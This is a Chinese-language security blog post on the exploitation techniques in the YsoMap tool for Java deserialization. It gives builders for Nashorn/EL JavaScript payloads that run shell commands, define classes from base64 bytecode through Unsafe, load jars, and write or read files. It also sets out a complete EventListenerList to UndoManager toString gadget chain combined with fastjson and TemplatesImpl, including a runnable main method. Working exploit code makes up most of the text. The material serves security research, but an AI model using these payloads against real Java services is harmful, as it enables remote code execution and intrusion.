上一节简单介绍了YsoMap的使用,之后来学习里面的利用链和使用技巧
0x01 Js脚本执行
通过jdk.nashorn.api.scripting.NashornScriptEngine#eval执行
1 2
| ScriptEngineManager manager = new ScriptEngineManager(); manager.getEngineByName("JavaScript").eval("evil js");
|
也可以外面套一层ElProcesser来执行El表达式
1 2 3 4 5 6 7
| public static String getPayload(String data) { return "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"" + data + "\")"; }
new ELProcessor().eval(getPayload("evil js"));
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static String makeJsRuntimeExecPayload(String cmd) { return "var strs=new Array(3);" + "if(java.io.File.separator.equals('/')){" + "strs[0]='/bin/bash';" + "strs[1]='-c';" + "strs[2]='" + cmd + "';" + "}else{" + "strs[0]='cmd';" + "strs[1]='/C';" + "strs[2]='" + cmd + "';" + "}" + "java.lang.Runtime.getRuntime().exec(strs);"; }
|
windows上的文件分隔符为反斜杠\,Linux上的分隔符为正斜杠/,等效于如下代码
1 2 3 4 5 6 7 8 9 10
| String[] strs = new String[3]; strs[2] = "calc"; if (java.io.File.separator.equals("/")) { strs[0] = "/bin/bash"; strs[1] = "-c"; } else { strs[0] = "cmd"; strs[1] = "/c"; } Runtime.getRuntime().exec(strs);
|
sun.reflect.ClassDefiner#defineClass
实际上也是用Unsafe去加载类,不过委派了一个新的类加载器

new DelegatingClassLoader直接调用父类的构造方法,即ClassLoader的构造方法,指定了该类加载器的父类加载器parent。
1 2 3 4 5 6 7 8 9
| public static String makeJsDefinedClass1(String classname, String encoded) { return "var data = '" + encoded + "';" + "var bytes = java.util.Base64.getDecoder().decode(data);" + "var cls = java.lang.Class.forName('sun.reflect.ClassDefiner');" + "var method = cls.getDeclaredMethods()[0];" + "method.setAccessible(true);" + "var evil = method.invoke(cls, '" + classname + "', bytes, 0, bytes.length, cls.getClassLoader());" + "evil.newInstance();"; }
|
实际利用起来偶尔会出现NoClassDefFoundError的异常,因此不如直接使用Unsafe去加载类,直接指定类加载器,而非再构造一个新的类加载器
sun.nio.ch.Util有一个类成员是unsafe,该类的静态代码块会对其初始化unsafe = Unsafe.getUnsafe();,同时又提供了一个静态的包作用域方法unsafe来获取unsafe成员
我们直接传入当前线程的类加载器
1 2 3 4 5 6 7 8 9 10 11
| public static String makeJsDefinedClass2(String classname, String encoded) { return "var data = '" + encoded + "';" + "var bytes = java.util.Base64.getDecoder().decode(data);" + "var cls = java.lang.Class.forName('sun.nio.ch.Util');" + "var method = cls.getDeclaredMethod('unsafe');" + "method.setAccessible(true);" + "var unsafe = method.invoke(cls);" + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" + "var evil = unsafe.defineClass('" + classname + "', bytes, 0, bytes.length, classLoader, null);" + "evil.newInstance();"; }
|
ClassNotFoundException:待加载的类不在classpath下,或一个Classloader尝试加载另一个Classload已经加载过的类
NoClassDefFoundError:待加载的类能在classpath下找到,但该类的依赖找不到,造成LinkageError,一般在隐式加载中抛出异常(调用方法或访问类成员)
URLClassLoader + file协议
1 2 3 4 5 6 7
| public static String makeJsLoadJar(String filepath, String classname){ return "var args = new Array(1);" + "args[0] = new java.net.URL('file://"+filepath+"');" + "var classloader = new java.net.URLClassLoader(args);" + "var cls = classloader.loadClass('"+classname+"');" + "cls.newInstance();"; }
|
com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
居然是JDK自带的,这么简洁的写文件
1 2 3 4 5
| public static String makeJsFileWrite(String filepath, String encoded) { return "var data = '" + encoded + "';" + "var bytes = java.util.Base64.getDecoder().decode(data);" + "com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename('" + filepath + "',bytes);"; }
|
YsoMap里没有JS读文件,可能是考虑到不好回显吧
同样是这个JavaUtils带的方法getBytesFromFile,试了一下在JS中抛出异常也不能带出来
1 2 3 4 5
| public static String makeJsFileRead(String filepath) { return "var bytes = com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile('"+ filepath + "');" + "print(new java.lang.String(bytes, 'UTF-8'));" + "throw new Error('echo out')"; }
|
除非外面有一个变量去接受返回值,那么在js最后一行写上要返回的内容即可(不要加return)
1 2
| Object res = manager.getEngineByName("JavaScript").eval("'echo out';"); System.out.println(res);
|
0x02 readObject触发toString
BadAttributeValueExpException烂大街了
javax.swing.event.EventListenerList#readObject

先后两次执行了readObject
这里的l需要是EventListener的实现类,listenerTypeOrNull为字符串类型
获取listenerTypeOrNull类名对应的Class后,和EventListener一起传入add

判断l是否为t的实例对象,若不是则抛出异常,进行对象拼接,这里就能够触发l的toString
这里的类名t随便找一个就行,如java.lang.InternalError
但实例对象要求是EventListener的实现类,要么该实现类toString可利用,要么该实现类继续进行类成员对象拼接字符串,而且对类成员的类型要足够宽松
javax.swing.undo.UndoManager#toString刚好满足要求

虽然这里的limit和indexOfNextAdd都是int类型,但这继续调用了父类的toString
javax.swing.undo.CompoundEdit#toString

其中inProgress为布尔类型,edits是一个Vector
神奇的是这个类已经指定了Vector<UndoableEdit>
但通过反射仍能加入一个非UndoableEdit的普通对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
public static Object getValue(Object obj, String name) throws Exception { Field field = getField(obj.getClass(), name); return field.get(obj); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object readObject2toString(Object obj) throws Exception { EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector)getValue(manager, "edits"); vector.add(obj); setValue(list, "listenerList", new Object[]{InternalError.class, manager}); return list; }
|
可以配合fastjson原生反序列化打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void ser(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); ois.readObject(); }
public static void main(String[] args) throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "p4d0rn");
JSONObject jsonObject = new JSONObject(); jsonObject.put("test", templates); ser(readObject2toString(jsonObject)); }
|